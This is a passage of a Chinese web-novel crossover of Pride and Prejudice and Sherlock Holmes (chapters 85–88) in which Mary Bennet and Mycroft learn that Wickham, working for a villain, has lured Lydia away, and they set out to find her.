达西点了点头,希望麦考福特能够发自内心的忏悔。 麦考福特从上到下俯视着这位达西先生:“你甚至不知道自己输在了哪里。” 达西愣了一瞬:“什么?” 麦考福特稍微整理了一下自己的袖口:“只因为我今天的装扮就下了断言,你确实足够傲慢。” 达西有些愤怒:“难道我说错了么?!” 麦考福特故意露出一抹微笑,微微低头看向达西:“相信我,我比你更了解玛丽,她喜欢我这么穿。”说到这里,麦考福特甚至故意举起了手臂,露出自己袖扣:“看到了吗,玛丽小姐送我的圣诞礼物,啊,还有这个。” 用指尖轻轻点触着胸口的方巾,麦考福特用一种恶意炫耀的笑容看着达西:“也是玛丽小姐送我的,她喜欢装扮我,她喜欢我,而不是你,你该做的是安静的退出,而不是跑到我面前,表现出你的无知的傲慢。” 达西几乎想要甩下手套和他决斗,可是下一秒麦考福特的话仿佛一盆冷水:“当你高高在上想要指点玛丽和她家人的时候,是否真正的思考过,这个世界上不是任何人都拥有和你一样的家庭条件的。” 麦考福特直起身子:“我爱她,因为她是她,她有时候会有些幼稚,不成熟,她并不总是一成不变的,她会笑,会哭,会痛苦,会爱,会恨,会愤怒,但是她的心,=始终愿意选择做一个真诚善良、热情洋溢的人,她和时下其她淑女不同,有时候会因为一本书的观点愤怒,和我喋喋不休的抱怨, 有时候她不知道怎么装扮自己,总是胡乱折腾自己的头发,然后因为头发打结而坐在一边生闷气,她不拘一格,总是有一些别人想不到的观点,我会和她讨论,而不是用我的观点辩驳指点她的思想。 她喜欢牛奶多过咖啡,喜欢蛋挞多过司康,她会愿意在我面前表现出自己的癖好和喜恶,因为她知道,我始终爱她,不论什么样的都是她,我能看见完整的她,而你,先生,你只想看见你愿意看见的。” 达西沉默的看着麦考福特,然后转身离开了。 麦考福特没有再多说什么,对一个失败的人,他已经说的够多了。 玛丽回到家之后直接钻到了房间里,因为莉迪亚一直在马车里追问她到底准备什么时候结婚,简直比妈妈还要操心。 反而是妈妈,就这么坐在一边看她们的笑话! 莉迪亚看着玛丽落荒而逃的背影,忍不住和简抱怨起来:“她到底在想什么,我真是弄不明白她,如果他们两人相爱,就应该立刻结婚!想想吧,两个相爱的人,一起步入婚姻的殿堂,多么浪漫!要我说,玛丽就该快点结婚,她如果再不结婚,说不定以后就结不了婚了!毕竟可没多少先生愿意坐下来听她讨论一些奇奇怪怪的东西。” 简今天快活极了,听见莉迪亚的抱怨也只是小声安抚她:“玛丽是有自己想法的姑娘,我看那位先生是个很好的绅士,他们会在一起的。” 莉迪亚脱掉外套和简坐在门厅的休息室里歇歇脚,准备喝点热茶再睡觉:“浪漫的爱情就该像是故事里那样,热情的相爱,舞蹈,拥抱,然后步入婚姻的殿堂,而不是像玛丽那样,拖拖拉拉的,我看着都着急。” 简在一边一直安抚莉迪亚,还是班纳特太太下了最后通牒,她累了,要去睡觉,所有女孩子们都立刻、马上回房间,莉迪亚这才止住了自己的评价。 玛丽回到房间之后一下子扑倒在床上,等到心跳逐渐恢复平静才重新坐起来,今晚的莉迪亚实在太冲动了! 一个人在房间里换掉外套,因为束腰太紧了,玛丽又喊了女仆上来帮忙,等到收拾妥当,已经非常晚了。 玛丽躺在床上陷入睡眠,临睡前还想着,希望麦考福特先生的事情一切顺利。 圣诞节后几天,麦考福特先生都再没有消息,玛丽也没追问,她知道麦考福特先生一定是有什么事情。 看着时间差不多,玛丽也收拾行李准备回去伦敦,她和加德纳舅舅一家一起出发。 临出发前一晚班纳特太太来到玛丽的房间,她悄悄关上房门的时候玛丽还以为发生了什么事情。 结果班纳特太太却小声的和玛丽说,如果她打算买上一栋公寓再结婚,班纳特太太愿意请加德纳先生出资,给玛丽在伦敦买上一间小小的公寓。 但是这件事不能让家里其他人知道。 玛丽听到这话都愣住了。 班纳特太太别别扭扭的:“爱德华是我最亲爱的弟弟,他会愿意资助你的,你不要为了金钱而担心,如果你确定你爱那位先生,你就该尽快步入婚姻,别给他机会再爱上别人,要知道,男人可不一定会一直爱你。” 玛丽拥抱着班纳特太太,感觉自己的眼睛都酸痛起来,眼泪止不住的一滴滴洒在班纳特太太的衣服上:“妈妈,谢谢你。” 班纳特太太抚摸着玛丽的头发,她坐在床边,玛丽就这么抱着她的腰,将脑袋埋在她的肚子上。 这一刻班纳特太太仿佛回到了当初怀孕的时候:“你结了婚,一定要尽快生出一个继承人!” 玛丽羞红了脸,立刻抬起头来:“妈妈!!你……你怎么能说这样的话!我……我还没打算那么早结婚!而且我不想要舅舅的资助,那是舅舅的钱,不是我的!” 班纳特太太停下了抚摸玛丽的手,让她坐在自己的旁边:“可是你没有自己的钱,孩子,没有任何一条法律允许你拥有自己的钱,简我是不担心的,她足够漂亮,宾利也看上去傻乎乎的,总不会对她太差,可是你不一样,你太聪明了,你不会允许自己陷入一段失败的婚姻的……” 玛丽想要说什么,但是却被班纳特太太打断了,她面容平静,甚至于看上去有些冷漠:“傻孩子,你如果有了一栋公寓,还有一个继承人,到最后,你总归不会没地方去的。” 【作者有话说】 麦:看到了吗,玛丽给我买的,二十英镑呢![狗头叼玫瑰] 86 第86章 要用什么样的语言去形容此刻的感觉呢? 玛丽不知道,她只是付诸行动,用力的给了班纳特夫人一个拥抱。 班纳特夫人拍了拍玛丽的后背:“我对简不用说很多,她是个单纯善良的孩子,甚至有点呆了,当然了,我不是说那种坏的呆,她只是没那么多心眼,总把人往好处想,她以后结了婚,哪怕遇到什么事情了,也总能给宾利找点理由的,但是玛丽,我很担心你,你从不给别人找理由,你能一眼看穿别人,这样会给你自己带来很多伤害,要知道,婚姻中最重要的事情,就是得学会装傻……” 玛丽抬起头,眼眶通红的看着妈妈:“就像您现在这样吗?” 班纳特太太拍打玛丽后背的手停滞了一瞬间,然后继续拍打下去:“是的,玛丽,就像我现在这样,有些时候,有些事情,你不去想,日子就没那么难过。” 玛丽眼泪一滴一滴的留下来,沉默了一会,玛丽再次开口问道:“如果以后我买了一栋公寓,你会愿意过来住么,妈妈?” 班纳特夫人低头亲吻着玛丽的小脸:“当然,我会很高兴接到你的邀请,然后去快快活活的住上一段日子。” 玛丽靠在班纳特夫人的怀中:“妈妈,你知道我的意思……我……我只是说,爸爸他是个好父亲,他爱我们,但是他不一定是个好丈夫,你是个好妈妈,但是不一定适合做他的妻子。” 班纳特夫人笑了起来,似乎觉得玛丽在犯傻:“玛丽,别说傻话了,我当然知道你的意思,这也是我的回答……不要担心我,我可是妈妈。” 说完班纳特夫人松开了玛丽的手:“好啦,别这样哭哭啼啼的,明天早点出发,记得到了伦敦要多给我们写信,别什么事情都瞒着我们,如果再让我知道你瞒着我们什么消息,我就去伦敦找你!” 玛丽看着班纳特夫人离开的背影,低着头,用手帕一点点擦掉眼泪,情绪有些低落。 第二天一大早加德纳舅舅和舅妈就来了,两人带着玛丽一起回去伦敦,朗伯恩庄园的门口,班纳特一家都在。 班纳特夫人拉着玛丽的手:“要多给我们写信,别让我担心,知道了吗?” 玛丽趴在窗口不住的点头:“我发誓,我会多写信的,妈妈,你也要注意身体,早点回去吧,外面太冷了。” 虽然这么说着,但是玛丽趴在窗口,一直到走到路的尽头,看不见朗伯恩庄园位置,妈妈都在门口看着。 回到伦敦之后,玛丽第一时间看望了露易丝,她这段日子休养过来,虽然伤口还没恢复,但是人已经算是没什么问题了。 就等着伤口恢复之后就没什么事了。 玛丽将自己之前带回来的帽子送给了露易丝:“希望这份圣诞礼物不会太迟。” 黑网纱的帽子可以将露易丝的面容挡住,露易丝躺在床上试戴了一下:“谢谢,我很喜欢,我会带着这个帽子出席雷利的葬礼的。” 玛丽拍了拍露易丝的手:“放心,你会的。” 夏洛克介绍的雇主先生尚未回到伦敦,麦考福特先生也没什么消息,玛丽暂时没什么特别着急的事情,于是干脆去找夏洛克和安娜学习一些格斗技巧。 两个目的 第一个是可以一定程度保护自己。 第二个就比较幼稚了,玛丽叉着腰站在客厅,信誓旦旦的说自己必须战胜莉迪亚。 从小到大,她就没有那一次打败过莉迪亚的,她得学一点技巧,和真正有本事的人学习! 夏洛克询问了莉迪亚是谁之后跃跃欲试,毕竟他当初学习格斗的目的,也是为了打败麦考福特。 从某种程度来说,玛丽的目的和他倒是十分想象。 安娜无奈,只能参与这场教学。 约翰先生则是作为他们这场教学的场外支撑,毕竟摔摔打打的,总会有磕碰的时候。 回到伦敦一个星期之后,玛丽给家里写了信,主要说了自己在伦敦一切都好,和学校的大家相处的都不错。 写到这里的时候,玛丽只能抓耳挠腮的想办法编造一些信息,因为妈妈还不知道她在伦敦做什么呢。 家里的回信也很快,家里一切都好,家里人也都很健康,特别是简,她的婚礼最终定在五月,开春的时候,天气会很不错,宾利先生打算买下内瑟菲尔德,到时候简和家人不会距离很远,一切都完美极了。 凯蒂则是另外写了一封信,她还勤勤恳恳的扮演者玛丽的小眼线,认真的查探着莉迪亚所有恋爱的消息。 好消息是,找到了莉迪亚恋爱的对象了。 坏消息是,对方正是那个维克汉姆先生。 福斯特上校的夫人很喜欢莉迪亚,经常邀请她去家里参加下午茶,经常会有红制服军官一起来,维克汉姆就是最经常去的一个,因为凯蒂和这位夫人关系一般,所以这是她和莉迪亚少数分开的时间。 估计莉迪亚就是在这里和维克汉姆萌生了所谓的爱情的。 凯蒂不敢和家里其他人说,只能偷偷写了信,然后一起送来给玛丽,想要让玛丽帮忙出出主意。 玛丽能出什么主意,玛丽没有主意,维克汉姆?一个愚蠢的骗子和赌徒,说起来玛丽之前还有些奇怪,他明明是个赌徒,怎么还能游荡在梅里囤,难道大家都不在乎这件事么? 结果凯蒂和玛丽说,维克汉姆惯会装模作样,说自己确实有些喜欢打牌,但是有哪位绅士不打牌么,现如今不打牌的绅士可没几个,结果大家都觉得维克汉姆没什么问题。 这导致玛丽都不知道是不是自己过于……激进了。 仔细想想,莉迪亚可没什么钱,而且家里人都在,莉迪亚还能做什么?顶多就是参加舞会的时候和他跳跳舞。 玛丽没觉得莉迪亚会头脑发昏的做什么过于冲动的事情,她向来也只会嘴巴不饶人,大不了……大不了就是和维克汉姆跳跳舞,看看他那张还算英俊帅气的脸呗,还能做什么。 就算再坏的消息,玛丽觉得莉迪亚顶多和维克汉姆接接吻,如果莉迪亚真的被欺骗了感情,玛丽就找安娜和夏洛克帮忙,三个人一起揍维克汉姆一顿,给他点拳头吃吃。 将自己的意见回复给了凯蒂,玛丽就没将此事放在心上了。 半个月之后,麦考福特先生终于回来了。 此时已经到了二月份,伦敦的天气阴晴不定,有时候一大早还在下午,傍晚又开始下雪,地面上的冰结了又化,化了又结,加上日照时间也很短,玛丽实在是出不了门。 这段时间约翰先生的诊所接诊率都大大提高,到处都是摔断了摔伤胳膊腿的人。 就连郝德森太太都被叮嘱尽量少出门,她年纪大了,万一摔到哪里,可不得了,公寓的蔬菜和肉类都是请店铺安排人送上门的。 夏洛克一大早出门不知所踪,约翰先生也去诊所上班,玛丽和安娜在家里和露易丝一起看书,露易丝现在休养的不错,整个人精神状态都变得好了。 三个人坐在床边,玛丽一边翻着一本小说一边给露易丝朗读,安娜则坐在一边擦拭保养玛丽的小手枪。 听见敲门声的时候三个人都愣了一下,安娜第一个反应过来,啪的一下将手枪装好。 拿着小手枪就走到了门口。 玛丽和露易丝则在内屋警惕的注视着门口。 安娜站在门后,手里的手枪已经装备完全:“找谁?” 麦考福特站在门口:“是我。” 听出了是麦考福特先生的声音,玛丽高兴的惊呼一声,甚至来不及放下书,就打开了门跑了出去。 安娜已经打开了大门,看到门外风尘仆仆的麦考福特先生,玛丽一下子扑了上去。 “麦考福特先生,你回来了,我好想你呀!” 环抱着麦考福特的腰部,玛丽小声的抱怨起来:“你怎么这样冷,真是个不会照顾自己的先生,快进来快进来。” 麦考福特的外套下摆都是湿漉漉的,裤子的下半部分还有泥点,长款的风衣也湿了。 玛丽握着麦考福特先生的手拉到壁炉边,着急的帮他脱掉外套:“快来火边烤一烤,你怎么不回去换一下衣服,你这样不注意身体,我会很担心你的。” 麦考福特微微皱着眉头,被玛丽拽到壁炉边,脱掉外套,双手都被拉到火边上烘烤。 玛丽摸了一下麦考福特先生的手掌,冷的吓人:“天哪,你一定冻坏了,安娜快倒点热茶!” 看着玛丽忙忙碌碌的在客厅里跑来跑去,麦考福特心里有些发酸,但是很快又压制了下去,此刻不是说这些的事情。 将玛丽拉到身边,麦考福特沉默了一会:“有一个坏消息,玛丽……” 露易丝不知道什么时候来到了门口,她扶着一个木质拐杖站在门边上:“发生了什么事?” 麦考福特张张嘴:“我……我很抱歉玛丽……” 玛丽有些奇怪,被麦考福特先生这么珍重的表情吓坏了:“是出了什么事?” 麦考福特看了看房间的几个人:“雷利准备偷渡逃出英国,为了扰乱我的视线,他安排了人……绑架了你的妹妹……” 玛丽觉得头脑一下子炸了开来,绑架了她的妹妹?哪个妹妹,凯蒂,还是莉迪亚? 深吸了一口气,玛丽的大脑疯狂的运转起来,再次看着麦考福特先生的时候玛丽觉得自己的表情一定难看极了,因为麦考福特先生的表情也很难看。 玛丽开口道:“是莉迪亚对嘛,她是不是被那个维克汉姆带走了……” 麦考福特皱着眉头:“是的,我之前去找福斯特就是为了让他联系约克那边,安排驻军,为了不打草惊蛇,特意先从约克和附近的军队换防。福斯特也跟着一起行动。” 玛丽打断道:“那位福斯特上校的妻子很喜欢莉迪亚,一旦福斯特上校往其他地方巡防,说不定会以陪伴的名义邀请莉迪亚一起旅游,维克汉姆的驻扎部队也在一起……” 麦考福特沉默的点点头…… 玛丽狠狠的咬着牙:“我……我一定要狠狠的揍莉迪亚一顿!!但是我们现在得先找到她!” 正发着火,门口再次传来敲门声。 安娜打开了门,发现是郝德森太太,她看上去有些茫然:“玛丽,有一封你的来信……是你的姐姐,伊丽莎白寄来的。” 【作者有话说】 十章之内,大概就能完结了!![墨镜][墨镜],后面开YM的汉弗莱同人[墨镜][墨镜]想看的可以点专栏,先收藏一下。 汉猫养狗记。 对不起,作者大土狗,忽然有了想看高位者低头的冲动。[狗头叼玫瑰] 87 第87章 玛丽急匆匆的上前接过郝德森夫人拿来的信件。 果不其然,是关于莉迪亚的事情的。 伊丽莎白先是说了家里人都好,甚至还说了两句简的婚事,然后话锋一转,说道莉迪亚跑了的事情。 跑了,私奔,或者说被绑架。 总而言之,莉迪亚人不见了! 事情是如何发生的呢。 时间要倒回三天前。 玛丽还在伦敦百无聊赖的和安娜以及夏洛克训练,心里暗暗发誓下次要打败莉迪亚。 而朗伯恩的莉迪亚对此一无所知,当时她兴致勃勃的岔开了一封信件。 福斯特上校因为巡防调动的缘故,需要离开朗伯恩,而他的妻子,则邀请莉迪亚作为女伴一起前往布莱顿度假。 当然了,福斯特上校是去执行巡防任务,而她在尚不确定布莱顿是个什么样的地方时,最需要的就是像莉迪亚这样可爱活泼的女孩作为陪伴。 福斯特夫人只邀请了莉迪亚,对此凯蒂生了好大的气,甚至哭哭啼啼的和妈妈抱怨,但是妈妈对此倒是没什么意见,能得到一位上校夫人的青睐,对莉迪亚来说还是挺好的一件事情,福斯特上校本人虽然年纪已经和班纳特先生差不多大了,但是他掌握实权,还有一份家产,所以在前妻死后还能迎娶年龄几乎只有他一半的福斯特夫人。 她们两年纪相仿,性格类似,都是那种喜欢红制服军官的女孩子,这也是为什么那位福斯特夫人如此喜欢莉迪亚的缘故。 总之话说回来,莉迪亚得到邀请后,非常高兴的收拾了行李,和这位福斯特夫人一起准备前往布莱顿。 但是路上只度过了一天! 只一天! 她就甚至行李都没完全收拾走,根据后面福斯特上校检查,发现她只带走了一个行李箱,装了几件衣服,就跟着维克汉姆跑了! 福斯特上校连夜就让人给家里送了信,当急促的敲门声响起时,家里人都已经陷入了睡眠。 咚咚咚的巨大敲门声吓醒了所有人,班纳特太太甚至大呼小叫起来:“怎么,法国佬打来了!我们要被谋杀在自己的家里了嘛!” 那巨大的敲门声仿佛丧钟,在得知莉迪亚和福斯特上校手下的一个士兵,也就是维克汉姆先生一起失踪的消息之后,班纳特先生差点晕过去。 家*里人都吓坏了。 玛丽气的将手里的信件甩在地上:“我一定要抓到那个维克汉姆,还有莉迪亚,她真是太!太!太胡闹了!” 麦考福特先生将地上的信件捡起来,在看完信件之后紧皱的眉头没有放松。 现在双方的信息可以汇总了。 麦考福特先生这边已经完成了一系列的手续和军官的巡防调动。 雷利吓坏了,他仿佛被逼到了绝路的老鼠,慌不择路,想要抓住一切可以逃脱的机会。 玛丽作为麦考福特身边的人,是最为明显的靶子。 所有人都看得出来,麦考福特喜欢这个姑娘。 而这个女孩,能不能作为威胁所用,没人可以确定,毕竟麦考福特看上去可不像是会被轻易威胁的人。 但是雷利不一样,别人尚且还有筹码在手,只是估量玛丽的价值。 而雷利,他已经没有筹码了,运送黄金的船已经被查抄,矿脉被军队把持,他曾经的“朋友”都对他避而不见。 他想要出海逃走,都被麦考福特的人不断追踪。 雷利选择孤注一掷的赌一把。 维克汉姆曾经在伦敦底下赌场欠了好大一笔钱,不然他也不会逃到朗伯恩去做一个驻军,当时雷利的手已经没办法插到军队了,现在他利用这层关系,威胁,同时也是利诱。 只要维克汉姆能帮雷利带来玛丽,或者玛丽的家人,雷利不知可以把他伦敦的赌债一笔勾销,甚至还能再给他一千英镑! 玛丽听完麦考福特的讲述后陷入了悔恨:“为什么我不早点阻止莉迪亚,为什么我会放任莉迪亚和一个赌徒胡闹!都怪,这都怪我!” 麦考福特在一边沉默无声,他也在自责,同时也带着巨大的愤怒,这是他的失败,如果不是他的无能,导致雷利抓到这样一个机会,怎么会让这件事陷入如此难堪的局面。 玛丽一边流着眼泪,一边咬牙切齿:“他们往哪里逃了?” 麦考福特轻轻拍打着玛丽的后背:“最后的消息,他们消失在去苏格兰的路上,但是这个信息大概率不可能” 玛丽深吸一口气:“当然不可能去苏格兰,那里的水路最近驻守的很严格。” 麦考福特投来一个惊讶和赞扬的目光,哪怕在此时此刻,玛丽依然努力让自己冷静,想尽一切办法去解决问题。 玛丽坐在沙发上,努力的回忆着:“他们是从去布莱顿的路上消失的……布莱顿……” 大脑里开始复现一张地图,庞大的地图时而放大,时而缩小,玛丽开始推测,维克汉姆不可能直接绑架莉迪亚。 莉迪亚虽然混,但是没蠢到那种程度,她只会被骗走,不可能被被绑架,一旦她发现触及到自己的危险,她会叫的比谁都大声,布莱顿的人不可能发现不了,她一定是被维克汉姆骗走的。 她还带着一箱行李,两人从布莱顿出发,最近的港口,对,雷利是想要潜逃去法国。 现在整个欧洲大陆都陷入战火,雷利如果想要逃到一个安全的地方躲藏,法国是最合适的选择,而且他一定提前选好了港口和路线。 英吉利海峡布满各种往来船只,现在东线还在运送各种士兵和物资,雷利不可能去触这个霉头,除了几个大的港口,布莱顿能去的最近的,有水路通达法国的港口…… 玛丽忽然睁开眼:“克拉博姆……克拉博姆有一个港口!” 不……不对!有哪里不对劲…… 玛丽忽然抬起头看向麦考福特先生:“有没有可能,我们想的太多了……” 露易丝忽然开口:“他的目的不是想要威胁,而不是逃跑,抓人,特别是玛丽小姐的妹妹,对他来说太多此一举了……” 玛丽被一语惊醒:“他想要扰乱我们的视线!” 对啊,对啊!如果雷利的目的是逃跑,他大可以自己逃跑。 而不是非要多此一举的抓住莉迪亚,用莉迪亚玛丽来威胁。 甚至都算不上主要威胁,他没办法抓住玛丽,莉迪亚是下下选。 雷利在赌,麦考福特能否和自己的妻子之间,横亘一条妻妹的性命。 如果麦考福特能接受,他也可以用莉迪亚他们逃跑的路线来迷惑麦考福特,如果麦考福特不能,那就更好了,去追莉迪亚吧,那个愚蠢的小姑娘,而雷利大可以趁机逃之夭夭! 玛丽站起身跑到桌边,在桌子上的一堆纸张中翻找着。 桌上的东西太过杂乱,玛丽翻了半天没找到,又去房间的柜子里去找,很快在一本书的夹层里找到了自己随手收纳的地图。 展开地图,玛丽将地图放在地上。 她此刻丝毫不顾及所谓的仪态,跪趴在地上,一下子将指尖点在了伦敦附近的一个小点。 哪里是朗伯恩坐在的郡,用指尖在地图上滑动。 福斯特上校是自己人,他们去布莱顿的目的是真的,所以他们的第一天的行程一定是按照官方最合适的路线行走。 一天的时间,考虑到他们的速度,他们最多也就是到达…… 玛丽的指尖停在某个地方,旁边忽然递过来一只羽毛笔。 是麦考福特先生,他也蹲下身子,在旁边看着。 玛丽用羽毛笔在地图上画了一个小圈,然后以这个圆圈为圆心,四处发散的查看着。 周围他们能去哪里?克拉博姆的港口?不对,哪里的船只大多是去往法国的货船,没有私人船只可以离开。 维克汉姆的目的…… 玛丽觉得自己的头脑里充满着各种信息,杂乱无章。 她眼前开始复现艾拉的面容,玛丽感觉自己的后背开始冒汗。 如果,如果因为自己的缘故,倒是莉迪亚落得和艾拉一样的下场,被抓,被…… 麦考福特忽然伸手点住了赫特福德郡的某一片地方:“雷利最后出现的位置在这一片” 露易丝看了一眼:“赫特福德郡……如果我是一个赌徒,现在手里有一个年轻姑娘,交给雷利可以得到1000英镑,但是如果遇不到雷利……赫特福德郡也是个好地方……” 玛丽干巴巴的张了张嘴,心里有了一个惊恐的念头:“什么……什么意思……” 露易丝僵硬的看着麦考福特指着的那片地方:“玛丽小姐,祈祷把,祈祷雷利真的是抓住了你的妹妹,否则……你们最好尽快动身。” 停了一会,露易丝似乎发现自己的态度过于应激,努力的喘了口气:“你们最好联络布朗夫人……” 玛丽感觉浑身上下的血液都被抽干了,其实麦考福特已经猜到了一些,但是他确实不敢去赌。 麦考福特知道玛丽对自己的家人有多么爱护,如果……如果因为他的失误,导致了玛丽的妹妹遇到那些事……麦考福特不敢想下去。 玛丽扶着麦考福特的手磕磕绊绊的爬了起来:“走,我们立刻去找布朗夫人……” 麦考福特握着玛丽的手急匆匆的再次出门,安娜留在了贝克街,以防万一露易丝遇到什么危险。 哪怕露易丝表示让安娜跟着一起去保护她,玛丽也拒绝了:“我在麦考福特身边呢,他会保护我的……露易丝,哪里……是什么地方……” 两人站在三楼的门口,露易丝看着还放在地上的巨大地图,那只羽毛笔孤零零的被丢在地上,沉默了一会再次开口:“哪里有赫特福德郡最大的地下拍卖场……很多女孩都……” 玛丽听不下去了,脸色苍白的抓着麦考福特的手离开:“快点,快点!” 快点,再快点,玛丽哆嗦着跟麦考福特一起爬上马车,再托马斯快马加鞭的行驶中,玛丽恳求着上帝,不要让莉迪亚遭逢那些恐怖的厄运…… 【作者有话说】 大概十章之内左右完结,后续有两个坑可以选择看一下,一个是YM的汉弗莱坑,一个是达西先生的坑。 等这个完结后,看哪个收藏比较多,就开哪个,但是两个都会开。靴靴[垂耳兔头] 88 第88章 两人什么行李都没有收拾,或者说玛丽也没有来得及收拾,麦考福特的车子就在楼下,两人上了车麦考福特就让托马斯直奔赫特福德郡的贝德福德而去。 至于布朗夫人那边,麦考福特已经让安娜安排人联系,如有什么新消息或者线索,再去贝德福德联系他们。 两人在车上都沉默着。 托马斯只顾着闷头赶车,外面风雨交加,玛丽甚至脑子里忽然冒出一个想法,不知道莉迪亚带的衣服能不能保暖,她那么怕冷。 每到冬天,莉迪亚都会裹着厚厚的羊毛裙子和羊毛袜子,她的脚都会穿两层羊毛袜,这导致她冬天的厚绒靴子要比夏天的轻薄小皮鞋大一个码。 麦考福特坐在玛丽的对面,紧闭的马车玻璃窗上被雨水冲刷着,留下一道有一道的痕迹。 玛丽沉默了好一会,车轮似乎滚过了什么东西,马车颠簸的摇晃了一下,玛丽差点被这股力量砸到车壁上,麦考福特及时伸手抓住了她的胳膊,在确认玛丽重新坐好以后麦考福特松开了手。 等了好一会,玛丽忽然抬起头:“你不想说什么吗,麦考福特先生。” 玛丽的脸色苍白,嘴唇都在发抖,不知道是冷的,还是感到了害怕。 麦考福特看着玛丽的眼睛,发现里面闪烁着某种坚定的的意志。 玛丽没有等到麦考福特的回答,只能自己再次开口:“你是特意来找我的,你是特意带上我的,对吧。” 是的,玛丽在这么一颠簸之后,忽然福至心灵的反应了过来…… 麦考福特先生其实自己就能把这件事解决了,如果她能猜到他们在哪里,露易丝也能猜到雷利的目的,麦考福特先生怎么可能猜不到,可是他却来找了玛丽…… 玛丽低着头,她的视线里只能看到麦考福特先生的鞋尖,上面布满了泥水,裤腿的下半截还有许多脏污,和他平日里整洁的模样大相径庭。 麦考福特叹了口气,他原本不想让玛丽感受到的,但是玛丽的直觉精准的吓人。 看着玛丽的样子,麦考福特想要伸手将玛丽拉到了自己的身边,但是伸出手后停顿了一瞬,转而将已经湿透了的外套脱掉,露出里面的衬衫和马甲。 手臂上还是玛丽上次送他的袖箍,红色的袖箍绑在胳膊上,刺激着玛丽的双眼。 麦考福特确认身上都是干燥的之后才将玛丽拉到了自己的身边,一只手环抱着玛丽的肩膀,让她靠在自己的怀里,麦考福特能感觉到,玛丽在发抖。 玛丽捂着脸抽泣着:“我……我错了,我不该自以为是的……伊丽莎白劝过我,不该让莉迪亚和他这样的人胡闹,我竟然不当一回事……” 麦考福特叹了口气:“我就知道你会这么想,玛丽……” 正如玛丽猜测的那样,麦考福特已经猜到了雷利的目的,也知道他在故布疑阵,故意分散他们的注意力。 麦考福特早就安排了别的人去抓雷利了,莉迪亚他们的目的地,麦考福特也能大致推测出来,当然,要找出他们怎么也要花上一两天,但这对麦考福特来说没有什么实际操作方面的难度。 真正的难度在于,玛丽会怎么想。 麦考福特知道莉迪亚是一个冲动没头脑的小姑娘,而玛丽爱她,并从自身推测,放任了莉迪亚的胡闹,认为那些胡闹只是一些让莉迪亚开心的小事,玛丽希望家里人都开开心心的。 如果一切都由自己解决,玛丽会怎么想呢,她会如同此刻一样,自责于自己的错误,并在将来一直对此事此耿耿于怀。 麦考福特必须给玛丽一个机会,让她亲手挽救这一个小小的失误,麦考福特想要让玛丽自己解开未来可能存在的心结。 当然,麦考福特也得承认,这一部分也有他的问题,正如布朗夫人当初所说,弱小和无知不是生存的障碍,傲慢才是,他傲慢的认为,他已经盯紧雷利了,有雷利这样的目标在面前,谁会注意小小的维克汉姆呢。 而此刻,傲慢得到了报应。 麦考福特微微垂眸,看着玛丽靠在自己的身边抽泣着:“抱歉……玛丽小姐……因为我的失误。” 玛丽无法说她内心没有一丝一毫责怪麦考福特的意思,莉迪亚是她的小妹妹,麦考福特先生一直给她那么坚强可靠的感觉,现如今…… 可是说什么都没用,玛丽抹了抹脸:“我的责任更大一些,我不能毫无良心的把责任都推到你的身上,麦考福特先生,是我的问题,我自己可以不在乎那些事,可是莉迪亚不行,我不能让她遭受这一些,她还是个孩子……” 玛丽始终记得小时候,她被其她小女孩嘲笑,排挤,说她是个只会背书的书呆子,是莉迪亚,小小的莉迪亚站在她的面前,嗷嗷叫着冲向那些人,把一个女孩撞翻在地上,像是一只金毛小狗,咬着对方的手指含含糊糊的说:“不许你说我姐姐!” 不论长大后的莉迪亚做什么,怎么和她吵架,玛丽始终记得那个小小的,保护她的莉迪亚。 外人知道什么呢,她们又没有在这个家里待过,没有和班纳特一家人相处过,她们只会说莉迪亚是个胡闹冲动,喜欢和男孩子玩的姑娘,没一点淑女的仪态。 玛丽坐在马车里,脑子里乱七八糟的都是关于小时候莉迪亚的那些事,偶尔会冒出一两个念头,指不定莉迪亚正在被维克汉姆关在什么地方,抱着膝盖哭泣着,等待家里人来救救她。 一想到这里,玛丽的心都要碎了。 她仿佛透过马车的玻璃窗,看到莉迪亚缩在房间的角落里喊她:“玛丽,玛丽你在哪里,快来救救我。” ———————— 此时的莉迪亚快活极了! 她在旅馆的房间里跳来跳去,像是一只蹦蹦跳跳的小袋鼠:“她们一定吃惊的不得了,哈,一想到我竟然是家里最早结婚的人,我就迫不及待的想要看到她们嫉妒的模样!” 从箱子里掏出一个披肩盖在身上,莉迪亚靠在床边上幻想着:“亲爱的,我们什么到镇上去?为什么你的朋友还没有来和我们会和,一定要他来做你的伴郎嘛?” 维克汉姆坐在桌边,喝了一杯热茶,手里还在写着一些书信,嘴角似笑非笑的看着莉迪亚:“当然,当然亲爱的,他是我最好的朋友,我当然希望他能来见证我们的婚礼!” 莉迪亚在床上滚了一圈,头发乱七八糟的洒在枕头上:“如果不是为了惊喜,我一定要让简和玛丽来做我的伴娘不可,哼,她们折腾了那么久,结果还没我结婚早,要我说,她们根本不懂什么是浪漫的爱情和婚姻,哦,亲爱的,我最亲爱的乔治,你就是天底下最好的先生。” 维克汉姆放下手里的羽毛笔,来到床边,看着这个躺倒在床上傻乎乎的小姑娘,哦不,现在可不是什么傻乎乎的小姑娘,而是闪着光芒的1000英镑! 莉迪亚虽然年纪小,但是身材丰满健康,维克汉姆砸吧了一下嘴,最终还是停下了想要抚摸的手,那个雷利和他说过,如果在20号之前没能前来和他回合,维克汉姆大可以将这个姑娘卖到底下拍卖场。 这样青春干净的姑娘,少说能卖300英镑,当然如果不干净的话,就只能卖几十英镑了。 虽然和雷利给的1000英镑相比少了很多,但是维克汉姆对300英镑的数值也不是很嫌弃。 想到这里,维克汉姆顺势坐到了一边:“别着急,我亲爱的莉迪亚,他说20号就能到。” 莉迪亚又翻滚了一圈仰躺在床上看着天花板,这家旅馆实在不是很干净,天花板上显得很斑驳,墙壁都有些脱落掉皮,但是莉迪亚也没有嫌弃,一想到自己即将和一位浪漫的浪子结婚,天哪,她整个人都激动的发抖,仿佛自己是什么爱情故事里,让花花公子情有独钟的女主人公。 爱情故事的女主角!多么戏剧性,多么动人心弦啊! 莉迪亚一想到这里就忍不住的咯咯直笑。 ———————— 从伦敦出发到贝德福德大约需要两天,但是现在考虑到下雪后的路面并不好走,而且加上下雨,导致道路更加泥泞,一度差点陷滞进什么坑里。 到了晚上,麦考福特带着玛丽来到一个旅馆休息,店老板看着麦考福特之后显然吃了一惊,玛丽已经没有心思去判断这里是不是麦考福特先生的某一个驻点,她又冷又害怕,没有丝毫的胃口。 在这种时候,坐在壁炉边喝着热汤都让玛丽负罪感十足。 麦考福特强硬的在玛丽的餐盘里放下两片熏肉和一节烤肠和一个鸡蛋:“你需要多吃一点肉,玛丽小姐,接下来还有一场硬仗呢。” 